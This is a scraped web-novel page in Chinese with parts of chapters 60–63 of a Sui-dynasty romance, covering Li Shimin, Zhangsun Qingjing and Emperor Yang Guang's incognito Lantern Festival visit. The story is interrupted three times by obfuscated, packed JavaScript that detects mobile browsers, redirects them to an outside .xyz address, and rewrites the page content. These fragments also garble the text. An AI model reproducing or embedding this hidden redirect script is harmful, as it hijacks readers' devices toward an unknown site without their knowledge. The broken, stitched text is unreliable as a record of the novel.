RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197101|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也足以使人赧然缄口,若是被长孙青璟得知真相,怕不是又要编一个覆酱本《左传》的故事讥嘲他无丈夫气,然后大笑着扬长而去。 长孙青璟半信半疑望着李世民。年轻人一挠头,理直气壮地补充道:“还有,我阿耶过去就经常这么逗阿娘。比方我阿娘说:‘叔德,你新得的马不错,献给圣上吧。’我阿耶肯定这么回答:‘不献,这是佞臣所为!’其实是他舍不得。当然他终究拗不过阿娘,阿娘让他办的事他最后都乖乖照做……反正,八柱国家、一家之主的气势不能输,其余的事以后再论。” 提起母亲,李世民眼前便完全涌起一家三口一道生活的幸福时光,至于母亲生前那些小小的不愉快,对于他来说已经不存在了:“大概,我看父母这么相处多了,自然也学会像父亲那样逗弄人了。”他偷瞥了长孙青璟一眼道:“你看我,是不是有点像我父亲?” 长孙青璟摇头:“看不出来。也许有一点。虽然你不是一家之主,不过方才也向我显露了些许一家之主不服输的气势,确实不输父亲。接下来我们就论其余琐事……” “但凭娘子吩咐,我一律照办。”李世民拱手应允。 唉!他的父母曾经是琴瑟和鸣的神仙眷属啊!——长孙青璟心中感慨道。 “还有,不准再同我耍什么一家之主的威风。不然,你一人去北邙吃风!” “一言为定。” 长孙青璟从身侧取出自行整理的今上诗文集,老调重弹:“子诚解人,不待吾言……” “我当然懂了,你我二人同心,其利断金;同心之言,其臭如兰——你让我抄我就抄。最后一个问题:可以跳着抄吗?我不太喜欢他悼亡妃嫔的诗赋,人都死了,假惺惺地思念,也不知人活着时和他见了几面?我还是比较读得进戎幕笙歌,虽说圣上军谋不臧,调度失宜,每征高丽,三军股栗。但是纸面上的气势力透纸背,函盖乾坤,不输汉高、魏武,还是值得一读的。” 长孙青璟瞪了他一眼:“我代圣上谢谢你褒奖。”说罢,她亲自为丈夫铺陈藤纸,捧砚研墨。“先挑你自己喜欢的。不喜欢的我替你抄。” 两人不再饶舌之后,李世民全心投入到誊抄杨广诗赋的自保大业中去。长孙青璟细究他的字,确有高峰坠石之奇崛,崩浪雷奔之气势,飞林出鸟之飘逸,与自己所书各有长短,心中也生出几分敬佩之意。 十几页诗文须臾立就,却点画精严,长孙青璟不禁暗暗喝彩。她又不忍李世民太过劳累,便劝他歇息片刻。 刘娘子与蝉衣奉上菓子与酪浆。李世民才发现一直侍奉长孙青璟左右的阿彩自他回来之后便未见踪影,也未听妻子问起她下落,想来又被安排去办什么要紧事情。 最好不是与自己有太大关联,长孙青璟一旦兴波惹非,他还真有些招架不住。 刘娘子前往洛阳之前被家中长辈女眷一再叮嘱看紧年轻夫妇,勿令二人在丧期逾矩。她初时还忐忑不安,今晚偷听二人交谈,聊的却都是些奇奇怪怪的国家大事,两人虽然常常说得投机忘我,种种蛛丝马迹却显示与儿女私情毫无关联。 刘娘子便觉得两个孩子行事自有分寸,清白磊落,反而显得过来人杞人忧天,念起卑污。 “长孙娘子,二郎这是准备秉烛夜诵,通宵达旦?”刘娘子半开玩笑,半是提醒二人早点休息。 “阿嬭,长孙娘子正催着我办件大事,她不说停手,我哪敢懈怠。”李世民提起笔,谑而不虐地调侃长孙青璟。 刘娘子微笑道:“郎君已经成家,不可如乳儿一般总是向人告状,说娘子不是。再说,你阿嬭虽说不读书,但是大概也懂得催促丈夫勤勉的娘子德配君子……郎君有什么可抱怨的。” 三人便说些近日洛阳城内为上元节所做的布置,三日宵禁解除时家中安排。 蝉衣察觉出廊下异动,便跑去门口掀开帘帷:“阿彩姊姊,小心!” “娘子,二郎的衣裳已经剪裁完毕。”阿彩近前,将已经缝制好的齐梁款式吴服展开,白色吴绫上流云卷草提花暗纹在烛光下若隐若现。 “剪裁时正巧全家都在寻找郎君,也无法贴身量体裁衣。我也只能比着旧时缺骻袍的尺寸放大胸袖下裳,也不知合不合身。” “我不穿!”李世民简切利落地拒绝了这种江左舶来款式的奇装异服。 他第一次见识到这世上有比自己更喜好更张炫奇的人,简直对长孙青璟甘拜下风。 61. 云满 李世民望着妻子在他去北邙料理田庄事务时让阿彩所制新衣——这当然也是完美应对计划的一部分,不以为然蹙眉,然后如李渊言传身教般摆起了一家之主的架子。 “不是婚礼不是祭礼不是冠礼不是大朝会,穿什么褒衣大袖,太古怪了。不会又是什么最近宫廷里时兴的款式吧?”李世民一脸嫌弃地问道。 “然也!正中鹄的。”这充满嫌弃的语调并没有吓退这个前外交使节的女儿。 长孙青璟开始适应所谓“一家之主”的气势不输之说。总之,对付色厉内荏、虚张声势的人,她可有办法呢。 她倒也不恼火,只是慢条斯理地解释:“陛下曾任扬州都督,习吴俗,与当地士人甚至能用吴语交谈。每念及青年时光,便自着大袖,令妃嫔们也着间色裙。你就勉为其难,阿附他一下?” “绠短汲深,臣力有不逮啊!”李世民道,“开皇年间不是把这种形制的衣物都禁了吗?为何如今妖氛再炽?缺骻袍比这舒服百倍。” “奴婢已经按娘子所嘱将大袖改为琵琶袖,方便郎君行动。哪里有妖气?”阿彩耗费了两天精力却被否定得如此彻底,眼睛也变得模糊不清,忍不住为自己辩解了几句。 府中已经许久没有婢子用这种口气与小郎君说话,李世民的怒火有些按捺不住。 正准备发作时,他细想阿彩乃是妻子带来的侍婢,又是按照主母嘱咐认真行事之人,贸然越俎代庖随便训斥怕是会招致长孙青璟不悦。他便憋着一口气道:“有劳阿彩费心,无奈我就是不喜欢。” “阿彩,郎君不喜欢,就暂且把衣服收起来……”长孙青璟故作遗憾,“可惜了,这可是正统魏晋士人所着宽袍大衣,王右军当年就是穿着这样的衣服写下《兰亭集序》……”长孙青璟一脸遗憾地望着再三拒绝的丈夫。 “观音婢,你们两个竟然消遣我,这么要紧的事情不早说。”李世民扔下菓子酪浆腾身而立,爽快地展臂招呼阿彩,“是我眼拙。重新审视,没有妖气,只有仙气。快给我换上,铜镜在哪里?我就说这衣裳一看就有林下之风呢!我个子高,肩又宽,峨冠博带肯定好看。” 长孙青璟满口酪浆吞吐两难,呛噎得咳喘不已;阿彩转忧为喜,雀跃着为郎君试新衣;蝉衣手滑,险些将铜镜摔落到地板上;进来看小郎君试新衣的刘娘子槌案摇头道:“还是和三岁时一个模样啊!” 试衣吃喝完毕,大家一时睡意全无。刘娘子见年轻夫妇还在说一些令她一知半解的“微行入闾阎”、“潜服访市廛”之类的言辞,便向阿彩与蝉衣使眼色,退出屋外。 显而易见,李世民本人对这些梁陈旧服并无特殊好恶,无非是对曾经或者现在穿着者的臧否影响了判断。 当然,他现在正沉浸于永和九年的那场著名禊礼中,一时舍不得脱下王羲之的礼服。 长孙青璟剪除了一段剧烈跳动的灯芯,又将烛台移近了李世民一些。除了新婚那天,她似乎还没有仔细端详过他。 他的长相,大概不会引得过路的贵女一眼相中,以骏马相赠终身相许;若是一开口与人交谈,那些思出尘表的言论绝对令人咋舌,别说良马了,恐怕连个木瓜都没人送他。 可是他现在伏案的模样,如玉山将倾,似兰亭挥翰,广袖垂云,风姿俊逸,实在令她情移神荡。 “你不会是一边偷看我受罪一边偷笑吧?”李世民继续誊抄着他并不太喜爱的《泛龙舟》《喜春游歌》,目不斜视地问道,“看着我老老实实做着自己讨厌的事情,你不会特别得意吧?” “哪有?我明明在勘误。” “你那本《御夫术》已然烂熟于心了吧?不妨送我。” “不准胡说八道,我才没读过那种书。”长孙青璟好奇地问道,“你要《御夫术》作甚?” “送给我新认的从妹当嫁妆啊,装人家堂兄总要装得滴水不漏、让左邻右舍都看不出破绽吧。” “张亮一定对你感激涕零。你这人当真是思如云诡。——人家好心救了你,你却教他未婚妻如何持其短长,未免太过忘恩负义。”长孙青璟抿嘴道,“我问你个问题。” “嗯。”大概是杨广这几首诗实属下品,浮夸到不堪入目,需要有人闲扯些趣事才下得去笔抄,李世民便由着长孙青璟打岔。 “你这么多年,与窦家,独孤家,王家,阎家那些表姊妹想必也经常能见着面吧?” “偶尔能见着,不过还是与表兄弟厮混有趣。你问她们作甚?” “她们——那些出身与你一般高贵的娘子,有没有夸过你聪敏俊朗的?”长孙青璟试探着问道。 李世民瞥了一眼铜镜中完全南朝士人打扮的陌生少年,突然停笔,以双臂环胸,很谨慎地告诉长孙青璟:“我九岁时得了一场大病,所有人都以为我活不下去了,连阿嬭都在大海寺的佛像前磕得头破血流,更不用说父母多绝望了。那时,全家人应该已经准备好我的后事,没人相信一个九岁的孩子能够在一年经历两次疫疬之后毫发无损地活下来。好像上天听到了父母他们的祷告似的,我就在所有人的疑惑中神奇地活下来了……大病初愈时,所有人看我的眼神都古怪而诡谲,好像我是从寿光县公韩子通那里逃出来似的——总觉得我这条命一半属于父母,另一半寄存在韩子通那里,那属于父母的半条命早晚也被韩子通给收去了……” 他抚膺微笑道,“除了无忌。你兄长不一样,从不把我当病人。我养病时,我们坐谈高远,行不践迹。他说,能从寿光县公手里逃出来的小郎君,将来都是高寿,而且能成大事。病未痊愈时,我说想吃冷而甜的东西,别人都是如临大敌,大呼小叫拒绝我,就只有他会偷偷带糖酪浇樱桃给我;我说想蹴鞠,别人不是笑话我就是将我看得更紧,唯独他会设法将一堆袄衫枕头塞进被褥里作假,然后将我偷带去空旷之处,把我安顿在远处干瞪眼看着,然后他和一群少年还有家生奴踢球给我看——其实他击鞠的火候真是未到,一招一式简直惨不忍睹,甚至连你都不如。你若穿上男装混在一群家仆中间击鞠,比他更像右骁卫将军的儿子——啊,这句不准告诉他。所说他蹴鞠的身形笨拙,可是我就是看得很开心。” 一丝辛酸涌上长孙青璟心头。酸涩中翻腾着一个九岁孩子的孤独沮丧以及屈指可数的快乐。她明明只是想问问像他那样家世显赫、姿貌尚可、擅骑射、能属文公子难道不曾有过情投意合的女孩子?怎么就被他把话题引到九岁的那场大病?而且她还听得醰醰有味。 “我没有收到过娘子们所赠的梅子、李子、木瓜、柑橘……我赠予娘子的第一份礼物就是那支几乎干枯的牡丹,收到的第一份礼物是你的一束头发——虽说是婚礼的程式,不过勉强也算吧……”李世民摇摇头,“不对,好像更早些,我记得你分过我半个胡桃的仁。那时你刚被高先生从长孙安业那里救出来,满脸尘灰,张皇失措,又饿又馋,难得仍旧心窍玲珑,计皆狡黠,居然还可怜兮兮地哄我为你剥核桃,你见我为救你出力报信,勉为其难地分了点果仁给我——这算是我第一次收到娘子所赠的礼物吧。” “我是那么悭吝的人吗?”长孙青璟忍不住调侃道,“你这人真是心胸褊狭,将那半个胡桃记了那么多年……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209414|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李世民大概猜出长孙青璟想问什么,索性一次说个明白:“若据实以陈,我的表姊妹们确实都很漂亮,但也很吵闹。” “健谈?” “就是吵闹,就是吵吵嚷嚷,让我的耳鼓不得半分休息。不像你,总是恬然晏如,安安静静。” 安静?长孙青璟忍俊不禁,李世民已经把问题带向了奇怪的方向。从小到大,父母夸她可怜,兄长夸她活泼,舅父母夸她聪慧,高氏缌亲夸她清秀类高氏女……总之,没人会将“安静”作为她的优点,因为她就是好动的性子,而且她在李家也丝毫不掩饰自己的本性。为什么李世民觉得她安静。 “你胡诌的!” 她再也不会问他这种傻问题了,因为但凡问了,就一定会收获一个比问题本身更蠢的答案。 上元节的清晨,青璟越过瀍河漕渠往修善坊谒见故友。回府后一直闷闷不乐。 她攀上四架楼阁的最高处,眺望通远市。大概是呆得时间太久,李世民便也上阁子里看她。 一股纸张烧焦的刺鼻味道扑面而来,阿彩紧觉地将最后一张纸投入炭盆。 “这是一些不用的旧物,鸡肋似的,干脆烧了。” 李世民点头,丝毫没有怀疑她会对自己撒谎:“你的故友还好吧。” “她出嫁了。”平淡如水的一句话。 “丈夫待她不好吗?你一直在生闷气。”李世民问道。 “这倒不是。”她剥除手衣,执起新写的诗,摇摇头,团成纸球投入火中,“娘家人待她也一般,不过是交相为用,各取所需。不是……不是通常的那种嫁娶……” 李世民愣了片刻,听懂了长孙青璟话中深意:“听着有些辛酸,她不是还有你这个好友吗?” “是啊。”长孙青璟苦笑着俯瞰庭中园中被彩绸装饰一新的枯树,“我着实不太喜欢这个奢靡虚伪的东都,宫殿繁复浮夸,士人矜情矫饰……”因为无处不充斥着浓重的杨广式的标格才调。 “你写过永明体新诗吗?” “学过,写过,张夫子说尽管写,皇帝不会因为我写的任何一首诗将我下狱的……张夫子还说就我这点文才,想写什么就写什么,没什么忌讳。我很真诚地吟咏过我那把随身携带的弓。弓倒是是好弓,诗大概有些见不得人。我的诗常常配不上所咏之物,不到万不得已还是不写为妙。” “唉,我本来也和崔,薛,颜家几位颇有才学的娘子也学过沈休文和小谢的永明诗。今日突然想吟咏一下圣朝的杨树,落笔却尽是虚情假意。就把这见不得人的新诗烧了。” “你处处为我着想,我感激不尽。”他将妻子双手拉近炭盆,“只是一味智虑圆通,事无遗算本身就是苛察克楮。对于陛下来说,一个既忠诚又呆傻的人是足够安全的。我在圣上面前装个忠贞痴傻的人也不错。” 长孙青璟眼前明朗起来:“你说得对,一个完美的计划看起来未免太像圈套,不妨留点缺憾。我们不要在圣上面前显得聪明过头,让他觉得被算计,被设陷阱。不妨给圣上留些委径达玄、理丝覈茧的余地。” 这个傲慢的,常常目空一切的少女开始理解为什么这个奇诡倜傥、不循常理的人可以成为五陵恶少们天然的领袖。 哪怕长孙青璟不为上元夜皇帝的突然造访做任何绸缪,李世民应该也能自如应对过去。 “你顿悟得分毫不差。譬如你觉得我是喜欢通婚书上那个‘蕙质兰心,琼姿玉映’的女孩子呢还是北邙某个封土堆上满头沾着枯草陪我喝闷酒的女孩子呢?”李世民把长孙青璟拉起来看风景,撑着栏杆调皮地问道。 62. 雷隐 “你猜我喜欢哪一个呢?” 这句话如镞贯膺——李家送来的通婚书上盛赞的高氏养女与北邙山丘上找寻李世民的本该是同一个人,又好像不是。 “通婚书上写了什么?我怎么一个字都不记得了。”长孙青璟只记得窦道生造访那日自己满心充塞的都是舅父高士廉即将流放的噩耗,就连媒人窦道生的问话也回答得心不在焉、词不达意。 想来窦道生不会对她本人有任何好感,无非配合着任性的外甥走完六礼流程而已。如果窦道生在李渊夫妇面前主动为她美言,那原因也与她无关。 大概是这位被夺爵的前陈国公与皇帝表弟速来不合,理性地认为斛斯政案中被株连被贬谪的多半是裴蕴纵横捭阖的大手笔牵扯出来的无辜之人。对高士廉才华的敬仰与遭遇的怜惜反而使窦道生看长孙青璟时眼前蒙上了一层琉璃障。 李世民望着通远市运河畔高擎的灯轮,目不斜视地说道:“通婚书自然是千篇一律的章法。难道要我父亲夸你打伤你叔父长孙休明的僮仆后易装出逃仁义?还是夸你善骑马蹴鞠扪萝探奇多才多艺?除了夸你貌美德贤还能夸你什么?” 长孙青璟反唇相讥道:“抛开通婚书上的陈词滥调不说,你觉得我不够韶秀婉嫕吗?——你这人,怎生这般凉德,总是惦记着我的狼狈模样。真是心性乖僻,乐趣非常!” “你那日在邙山不狼狈,像狸奴一样婉娈可掬……”见长孙青璟闻言努唇颦眉,李世民愕眙瞠目道,“你这么在意姿貌仪容做什么?” 长孙青璟鼓腮道:“哼!我衷心希冀圣上也拥有你这般令德徽猷,上元微行时能够探骊得珠,不要将你这株香草当做苜蓿轻易丢弃了……” 李世民听闻长孙青璟将杨广方比为美人,便不觉暗笑:“配那位大美人就算了,我做一株无忧无虑的苜蓿也没有什么不好。” 眼前少年虽说狂狷诡特,但是难得每次玄鉴深远,浑成圆融,多藏雅谑,闻之令人莞尔。长孙青璟从修善坊带回的恶劣心情顿时一扫而空。 这株“苜蓿”倚槛眺望通远市高擎的血髓珊瑚,感慨道:“阿耶已经在紫微宫当值数个日夜了,只为了皇帝的极宴狂酣,为了士庶的大酺恣乐。母亲新丧,父亲心情本来就郁闷,又连日劳累,也不知身体如何?” “二郎——娘子——高阁风大,你们赶紧下来!”刘娘子手持纸笺挥舞道,“王尚仪与郎君都有手条送来。” 长孙青璟与李世民夫妇二人便不再跋前疐后,纠结于是用完美的表演证明自己的忠心,还是用略有缺憾的表演来赢得圣上的信任。 此时两人闻变惶遽,几乎失履而走,匆匆跑下楼阁。一人各拆解一卷手条。 刘娘子与几个贴身侍婢也禁不住踮脚张望,生怕宫里来了令人沮丧的消息,比如皇帝又在不怀好意地问唐公的身体,出入府邸的客人,公子们近来的课业…… “今晚!”李世民与长孙青璟异喙同音。 一切尘埃落定。 悬着的心再也没有任何侥幸的念想。 刘娘子也舒展了眉头,皇帝亲临试探,这至多只是一般的险境,算不得必死之境。 “你说,两棵大同小异的李树,哪一棵是忠诚的,哪一棵是奸邪的?”李世民摇了摇手中的纸笺问道。 “好无趣的问题。”长孙青璟从侍女所托果盘中拿起一颗蜜煎李子塞进李世民口中,“多加蜂蜜,就会令人忘记李子本来的酸味。” 祸福无门,惟人所召。 一切只能交给那个地广三代,威振八纮的王朝的继承者,使得单于顿颡,越裳重译的圣人可汗,内怀险躁,外示凝简的诗赋大家来评判。 上元夜,杨广在紫微宫极宴纵欢之后意犹未尽,便穿着便服在修善、积善二坊内游弋。 裴矩的钝子照例在伏案读书,满脸死气沉沉,甚至没有一丝去通远坊观看胡人合生歌舞的念头。亏得杨广甚至起过将西域事务交予一个信得过的年轻人的念头,本想着教他子承父业,如今看来只能另觅他人。 裴蕴最近令皇帝极为恼火,李浑家宅不宁,谶纬令皇帝心神不宁,杨广向裴蕴暗示了一个可以让双方永久安宁的良方,裴蕴却颇不上道,每次都回报谋反查无实据,也不知他当初罗织薛道衡罪名的手腕哪里去了。 宇文述一家今晚变得强饰失真、矫揉造作。家中眷属仆妇不再以纹采精妙的吴越织绣为服,不再着云定兴巧思所裁制华裳招摇过市时,杨广不禁哑然失笑,回想起自己之前故作不悦的姿态将宇文述吓得面如土色,心情便更加快慰。 杨广觉得有个同声相应,同气相求又夙夜寅畏、不敢荒宁的心腹是多么美好的事情! 杨广坚信,宇文述一定能代替裴蕴那个首鼠两端、趑趄不前的读书汉臆造出一个将李浑举家处死的合理罪名。宇文述承诺接手处置李浑谋反案并保无后患后,杨广心满意足地离开了许国府。 皇后提醒皇帝是否去姑母安成大长公主的府邸。杨广却非常抵触。窦抗窦道生兴许就在他母亲大长公主与弟弟窦庆那里。虽然杨广自始至终没有获得窦抗与汉王杨谅勾结阴谋叛乱的真凭实据,但是在这个姑表兄弟洞察几微、高高在上的眼神中,杨广可以察觉到明显的睥睨不屑,这令他如坐针毡。他断然拒绝了萧后的提议。 平日与杨广狎昵的勋贵大臣已被挨个逗弄了一遍,皇帝一时对出游兴味索然。要是宇文恺还在世就好了,他可以和这位工部尚书大谈开凿太行道北征突厥,改进辎重车与六合城再征讨高句丽,他需要更宏伟的正御舟、更华丽的浮景舟南下江都。 可惜这位充满充满奇思妙想的造梦大师已经不在人间。 在皇帝几乎想折返紫微宫,回到迷楼与越女吴娃厮混时,“选曹七贵”之首虞世基偷偷提醒皇帝尚有一人府邸还未涉足:“陛下不妨趁上元节探访唐公府邸。” 皇帝坐在普通的步舆上,望着微行队伍前方执刀而趋,耳目警于无常的这位表兄,突然吩咐自己两位驸马替代唐国公行使警跸之职,将他唤到身前:“叔德,我们去你家坐坐。” 李渊的回答不卑不亢,既没有故作感激涕零与皇帝身边一堆佞幸一较长短的意思,也没有潜怀异志者害怕阴谋被洞悉的竭力掩饰。 简单谢过恩后,唐国公不无担心地向杨广坦言:“家中只有两个不懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218618|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事的孩子,请允许臣先着人回家嘱咐他二人正衣冠,开中门,设御座,执彗……” “表兄太见外了,今日只说家事,就抛开这些繁文缛节……”杨广笑道。 一旁的萧后也和柔地说道:“唐公不要吓坏了孩子们,一切如家人之礼即可,就当是长辈叔伯临时起意,去看看晚辈。” 虞世基也在一旁随声附和。 驸马都尉宇文士及余光捕捉到尚仪王氏与唐国公李渊睫影相交,凝思不语。 同行的南阳郡公主令人将腰舆扶至丈夫身边,以团扇轻拍丈夫的肩道:“那是甥舅,数年不见,不免生出渭阳之思,顾盼叮咛不止——你不要这样少见多怪……” “哦,有所耳闻……”宇文士及窘迫地笑道,不再顾盼流转。 方才与虞世基谈笑风生的新晋驸马宇文皛一听到皇帝准备前往唐国府的计划,一时钳口,枯泉断藻。新婚妻子河内郡公主见丈夫忐忑不安,若悬旌无依,不由嗤鼻哂之:“怯夫!平日里一贯耀武扬威,今日为何成了惊弓之鸟?”说罢,蛮横的公主扬鞭奋蹄,奔逸绝尘,不再理睬丈夫。 众臣对河内公主一日间翻覆数次的行径已经习以为常,也懒得追究原因,便纷纷一笑置之,唯独萧后蹙眉以对。 杨广对妻子要求他训诫庶女的暗示熟视无睹,反而觉得这个女儿气度容貌颇肖他这个父亲,不忍苛责。 如今的皇帝在独孤皇后在世时隐忍多年,庶子见弃,庶女委乳。河内公主作为祖母在世时出生的异生子,文献皇后口中的“犬豚”,幸运地没有在婴儿时期染疾夭折,最终得以回到父亲身边。 她本性其实与其他孩子也并无二致,只是在父亲的姑息放恣下,逐渐变成善匿情伪的父亲的本性的投射——这也宿命般地应验了文献皇后关于庶出如犬豚的论断。 所谓天人之悲,无非是所有令人哂笑的谶语妖妄最终都指向了现实。 当然杨广与眼前这个最像自己的女儿是不会有这些忧虑的。 骄恣跋扈的年轻公主认为祖父与父亲的开皇大业是永恒的天道,如日月经天,江河行地,亘古不易,就如九树冠上的花钗永远赫奕,腰系的山玄玉永不蒙尘——而她身为公主的地位,金石不磨,与天地参。 萧后见皇帝对河内公主失当举止目遇不察,便也只能愠而不发。她将南阳公主唤到身边,开始询问外孙宇文禅师近况。 一行人说说笑笑向积善坊的唐国府而去。 杨广闭目假寐,满脑子只是斯须到得李渊府上,该如何试探这位极其熟悉又极其疏离的姨表兄弟。 刺眼的火炬又逼迫他睁眼。杨广眇目望着李渊马上的背影,开始把往事桩桩件件摊开,细细梳理。他们本是相安无事的两个人,但是从小到大,李渊总是时不时在不经意间让杨广感觉不舒服不自在。 皇帝的这位表兄七岁丧父,深受从母独孤文献皇后怜惜。杨广自己有时也暗笑自己为什么要嫉妒幼年失怙的表兄。 但是母亲实在过度关注这个外甥了。 醉醺醺的皇帝开始暗自忖度自己微妙的情绪变化,那些慕、媢、恚交攻与并生的源头…… 63. 微行 杨广思来想去,终于在这个上元夜弄明白自己年轻时就讨厌李渊的原因。 大概是这位表兄不像他舅父独孤整的那些草包儿子一般成日坦然享受被文献皇后亲养的特权而不思报答。 说实话,杨广与李渊共同的外祖父赵景公独孤信对于宇文周来说也许是个不安定的因素。但是赵景公诸孙对于国朝而言实在是一群成事与败事都极其有限的酒囊饭袋,令杨广无比安心。 但是李渊不一样。杨广回忆中的纤介曲节在临近国公宅邸的时候如泉眼沸涌,湍流激石。 这位表哥从小就和独孤家那些同样少孤的小郎君不同。杨广鲜闻罕睹李渊在文献皇后身前哭诉自己的悲辛身世,乖违命运。反而是个乐天的少年。 据宫中好事者传言,年幼的国公不像独孤氏那些表兄弟一般对皇后亲养的打算甘之如饴,反而以不舍母亲为由拒绝了姨母的意志。 他每次觐见姨母,从不故作悲戚,总是说笑着自己近日箭术又精进多少,狩猎时有何收获,结识了多少新友,最近所念何书…… 宫中尚宫也暗自赞美年轻的公爵所图并非文献皇后更加怜悯其身世,而是令姨母放心自己可以孝养唐国老夫人,独立支撑门户。 杨广对李渊那些隐匿的厌恶大概也在于此。他常常捉摸不透这位表兄是天生倜傥还是匿情求名无所不用其极。 李渊总是将杨广需要用尽千般矫饰谲诈才展现的萧散轩举自然而然地展现出来。在杨广眼中,李渊要么是城府极深的同路人,要么生性洒落,深情、坦荡、放达皆是本性——这常常令早年在夺嫡时无比压抑自己的杨广嫉恨不已。 步舆突然沉了一下。王尚仪轻声提醒帝后,积善坊的唐公府邸已到。 杨广惺忪的眼中映入了三个人影。 穿紫色襕袍的正是自近日上任起一直宿卫宫禁,夙夜不敢怠慢的新任右骁卫将军李渊。 至于外穿斩衰的少年——杨广依稀记得就是上次李渊在陇右招抚时随法驾一起来到洛阳的那位唐国公爱子——跟司马德戡比过武,跟宇文皛打过架,不值一提。这孩子还有着一个出自《晏子春秋》的拗口名字,可杨广一时想不起来了。不过无妨,他是皇帝,无需亲自开头,所有人都会在面圣时自报家门。 另外一位拥彗稽首的少女却是帝后都不曾见过的。不过游宦时带着在室的女儿也不奇怪。 杨广觉得唐公一家的表现差强人意。 两个孩子既没有因为女主人的去世而麤服乱头、不修容止;也没有因为皇帝的突然驾临逢迎造作、失其本真。 也算是对皇帝恭敬又不失贵戚自身尊严。 一向自负的皇帝显然认为自己选择了一个突访以探虚实的好时机。 杨广为表示亲近,便亲自下舆,搀扶行稽首大礼的李氏父子。 “今日你我不是君臣,只是家人。夫人新丧,表兄持家劬劳,忠勤王事,日就羸瘠,我与皇后宸衷轸念,特来慰勉。卿国之柱石,宜自宽解。” “蒙陛下、殿下存恤,臣虽丧偶,不敢废朝。”李渊言罢稽首再拜,又故作姿态地指责李世民与长孙青璟道,“两个孩子悖慢失仪,我令他二人在家中守制,谁料如此懒怠!请陛下允许我令二人换下丧服再行奉迎。” “唐公且慢!”萧后阻拦道,“为母守制,哀毁读礼,是为孝;奉迎天子,冠带严整,是为贞。依我看,没有什么不妥。唐公还是不要为难孩子们了。陛下,您认为呢?” 杨广颔首称善。李渊便带着两个孩子向帝后谢恩。 萧后兀自猜测眼前同样着斩衰的少女是窦夫人所生在室之女,丧母后唯恐大兴的长亲照顾不周,故而被父兄带在身边。 她扶起长孙青璟,问道:“这是国公的第几位千金?” 李渊解释道:“禀殿下,这是臣的次媳。已故右骁卫将军长孙季晟幼女。” 因害怕帝后追究起婚期,好事者提及斛斯政、高士廉,好奇者问及媒人,他便只挑些能引发皇帝愉悦回忆的细节陈说。 长孙晟便是杨坚、杨广得以宣威突厥的政枰师,国朝两代帝王绝对的心腹与智囊,又因在帝国最辉煌的时刻亡故而成为璀璨星空中永不黯淡的一员。 这场联姻,虽说仓促,但是长孙这个姓氏足够引起皇帝的快慰与好感,那就够了。——至于关于这个儿媳的其他曲节毫末,帝后知道的越少越好。 萧后有些惊异于这场联姻,便尴尬地微笑道:“原来是我误会了,两位将军果然有缘。” 然后皇后便开始了程式化的夸赞:“不过这孩子风姿形容确实有那么一点唐国夫人的影子,诸公莫笑我眼拙。” “殿下说得不无道理,这门婚事是由我母亲同长孙将军的叔母薛国夫人定下的——我母亲一直对内子颇为满意,比照着儿媳的样子找孙媳,也未可知。” 李渊对婉拒儿子与皇帝某位不知名庶女联姻一事心有余悸,当然他并不确定问生辰八字一事是皇帝的试探还是皇后的一厢情愿,更未料到萧后今日会问起长孙青璟身世。情急之中,他便将订婚之事推托到祖辈身上以免皇后心中生出嫌隙。 “照我看,很般配。”萧后点头,带着了然于心的默契说道,“小儿女们了却两边祖辈心愿,唐公应该放心了。”说罢,她主动叫上两位公主与长孙青璟相识。 李渊点点头,大致确定之前所虑联姻之事大概只是皇后一己之愿。 萧后虽不遂意,也只叹缘至而分浅,但也绝无挟私报复之意。 皇室、勋贵各留体面,旧章可翻。她几乎明白无误告诉李渊前事已往,她并无意在表兄弟或者君臣之间作梗,令李渊尽管放心。 唐国公长舒一口气,突然觉得表里相违、骄矜自用皇帝杨广完全配不上眼前这个量周识远、□□有智的女人。 众人在皇帝授意下,省去诸多繁文缛节。由李渊引领,自中门进入正邸。 杨广一路查看府中装饰,一路殷勤询问丧礼诸事,赐粟与绢帛礼部是否送达大兴府邸,葬礼是否按制操办,世子身体是否安康。李渊一一作答。 裴蕴近日因无法将李浑李敏谋反案坐实惹来杨广极度不快,杨广索性不让他同行,以免看到他满面愁容,搅扰自己出行的兴致。 裴矩自大朝会来开始曲笔微言,旁敲侧击提醒他暂时不要用事于突厥,妥善处置饥民要紧,被杨广以一句“朕不好谏言”封口之后,便钳口结舌,噤若寒蝉,也被杨广从同游名单上删去。 宇文述本来是不错的微服同行人选,其人鹰目犬鼻,洞察秋毫,定能助杨广防患于未然,只是宇文述急于邀功接手了李浑案,特意表现出一副殚精竭虑的模样,杨广便任由他连夜查找卷宗为自己分忧。 于今,同行的狎客佞幸便只剩下虞世基一人。但是这条精通仕宦之道的老狐狸在皇帝明确表示出对李渊的倚重或嫌恶之前,还是选择察言观色以应万变。 南阳公主与驸马宇文士及性情谦抑,虽贵不矜,在皇亲国戚之中风评极佳,便经常得以与帝后同时出现在各种场合。 